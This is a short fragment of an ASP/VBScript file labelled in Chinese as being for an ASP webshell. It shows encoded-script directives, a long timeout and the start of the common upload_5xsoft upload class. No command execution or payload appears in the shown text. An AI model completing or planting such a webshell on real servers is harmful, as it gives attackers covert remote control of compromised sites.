asp webshell 专用

<%@ LANGUAGE = VBScript.Encode  codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<%
rseb=Request.ServerVariables("SCRIPT_NAME")
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
 strForm=lcase(strForm)
 if not objForm.exists(strForm) then
  Form=""
 else
  Form=objForm(strForm)
 end if
end function